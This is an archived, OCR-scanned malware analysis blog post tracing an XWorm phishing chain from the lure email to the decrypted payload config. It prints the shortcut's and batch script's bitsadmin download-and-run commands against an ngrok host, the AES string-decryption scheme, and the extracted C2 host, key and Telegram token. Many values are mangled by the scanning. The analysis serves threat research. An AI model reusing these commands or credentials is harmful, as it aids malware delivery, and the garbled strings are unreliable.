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[QuickNote] The Xworm malware is being spread through a
phishing email

Published: 2024-09-12 - Archived: 2026-04-05 18:18:04 UTC

1. Techniques used to trick users into downloading malware

The attacker sent an email with a shorten link to download a file:

Please find in the attached itinerary, hotel accomcdation and activities they did with you which we are alsc interested in.
We are loocking to schedule the tour for & or 7 days. We would like to start arcund November 13th.

Thank you for your time and we look forward to your help.

[cid:CID-50168cdc-1b44-36d8-0d63-Tec42811 4abf |<https: //tinyurl .com/5n6eTTct> |

When a standard user clicks on the link provided, the browser will automatically initiate a download of the file

Itinerary.doc _.zip, as illustrated in the following:

Q_ https://tinyurl.com/5n6r77ct [ 1

Started You have chosen to open:

Fi Itinerary.doc _.zip
which is: Zip archive (976 bytes)
from: https://mydoc.ngrok-free.app

What should Firefox do with this file?
Openwith | Xarchiver (default) v

Osave File

Inspect the downloaded .zip file. There is a shortcut file (.Ink):

Mame

~ L1 ltinerary.doc _zip
v | Systems

Upon further inspection of the file Itinerary.doc.Ink, it was discovered that the attacker leveraged this file to

download and run a malicious .bat script named output4.bat:
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StringData
{

namestring: not present

relativepath: ..\..\Windows\System32\cmd.exe

workingdir: not present

commandlinearguments: fc Becho off s& title Update s& bitsadmin /transfer mdj /download /pricrity FOREGROUND https://mydoc.ngrok-free.app/outputd.bat
"$tempi\\output.bkat"” && start ™" "$temp%\\output.bat"

iconlocation: C:\Users\GRACE\Desktop\Home\Icons\IconlS.ico

I}

Downloading the output4.bat file and examining it reveals that it employs bitsadmin to download a harmful
payload and execute it on the target system. The downloaded file is disguised as svchest.com and saved in the
%temp % folder:

flecho off

if not DEFINED I5 MINIMIZED set IS5 MINIMIZED=1 && start "" /min "E~dpnx0™ %% & =x
title Update...

color £

zet plut="%temp%\\svchost.com"

bkitsadmin /transfer "mdj" /downlecad /pricority FOREGROUND|“https://mydoc.ngrok-free.app/svchost.com™ 3pluti
atart "" Fpluts

DEL "%~£07

[T S

[T

2. Quick analysis of Xworm malware

The downloaded svchest.com file (hash:
ec7e0bf7036f03786789b6cb58d01c84733fc3a865974c79edf68cba25ff9891) was conducted using popular tools

including DIiE and Exelnfo to identify any potential threats. The results of this scan are presented below:

Translations : 000004b0  Language : Neutral - (0000)
svchost.com
Entry Point : 00DO3B2E 00 -< EP Section : text '||/CompanyName = now.gg, Inc.

FileDescription = ZBWWHQNZII
File Offset : 00DO1D2E First Bytes :  FF 25 00 20 40 || FileVersion = 19.0.0.0
) |||InternalName = ZBWWHQNZIIL.exe
Linker Info @ 11,00 SubSystem @ Windows GUI LegalCopyright = Copyright (c) 2010-2021 Bluestacks from Now.gg, Inc.

) |||LegalTradeMarks = ***

Fle Size :  00D2FA0CH Overlay : NO 00000000 || |OriginalFiename = ZBWWHQNZIL.exe

ProductName = BlueStacks 5
Image is 32bit executable RES/OVL:1/ 0% 77 | O ]

|||Comments = #**

MS Visual C# / Basic.NET - InteliLock v1.5-3.0 [.NET Reactor 6.x-6.9 ] -

File type
PE32

an Mode Architecture

Automatic 32-hit 1386

Operation

Linker: Mic
Compiler:
Language:
Library: Mewton Json
Library: dnlib
Libra ET Fram
f + Anti-Tamper + Anti-ILDASM]

L LA LA LA LA LA LA LA LA

Viruz: XWorm (5.0)[Obfuscated]

As shown in the figure, this is a payload written in .NET, likely protected by the .NET Reactor protector. DiE

even detected this as the XWorm malware family.

Loading the file into dnSpy and going to the entry point, we can see that its code has been completely obfuscated.
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The code was heavily obfuscated, making it nearly impossible to read. Trying our luck with the

NETReactorSlayer tool, the result obtained was much more promising:

The function responsible for decoding the string pjuwlH00nm5es3BMfhR1hfmv is implemented as follows:
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kUuntDk5aDZKDjOHvtY1lelsi)

Dissecting the function, we observe that the malicious code carries out the following operations:

e Calculate the MD5 hash of the string “ 5b6ghQLrSgjM8zFs ” put it into the variable array2 :

o Utilize the datain array2 to create anew array that will serve as the AES key with the value
“ 23DB8E591319155C9ATEFBEA84A17123DB8E591319155C9A1EFBEAB4AT717600

o First, decode the string using Base64. Then, decrypt the result using AES in ECB mode with the
previously acquired AES key

2

Ma ecryp
(kUuntDk5aDZKDjOHvtY1lels
(cryptoTransform. TransfermFinalBlock(array

Following the steps outlined above, the data was simulated using CyberChef as shown below:

Recipe ~ a [ ] i Input
o Fre ~ [WkDKG+UFnD2INmfRFYFODtQXpoS2A3ALGpCut92KhSg=
A-7a-20-9+/= - Remove non-alphabet chars TE£dFOT/RHkhIoY3al 6kFward ]
R JoqT1yTTVsq842HPUVBmAg-
[ strict mode Output T
o w23 F 1
cyberdonl.duckdns.org o
AES D ~ utput o
S 3 Output
Kev <Xwormmm>|
23DB8ES91319155C.  HEXT WV HEX - 13ss10e260
s P5bgRnzBxZUYo6XkC11IYWYFXYZrTITISm0045mcd41P59t0g3YBYEr/MFnXi4/q
Wiode nput Output
ECB Raw Raw
o B4 = 1
OQutput

7483891888 : AAGbwye]_938Pb0]I1cOfRWN_cb11040DXhA

The malware config is as follows:

Host cyberdon1[.]duckdns|.]org
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Port

Splitter

Sleep time multiplier
Mutex

USB drop file
Telegram token

Telegram chat id

1500

<Xwormmm>

5b6ghQLrSgjM8zFs
system32.exe
7483891888: AAGbwye]_9j8PbOJI1cOfRW_cbll040DXhA

1344104260

The XWorm version under analysis in this note is 5.6 .

ebClient =

Done!

m4n0Ow4r

Source: https://kienmanowar.wordpress.com/2024/09/12/quicknote-the-xworm-malware-is-being-spread-through-a-phishing-email/
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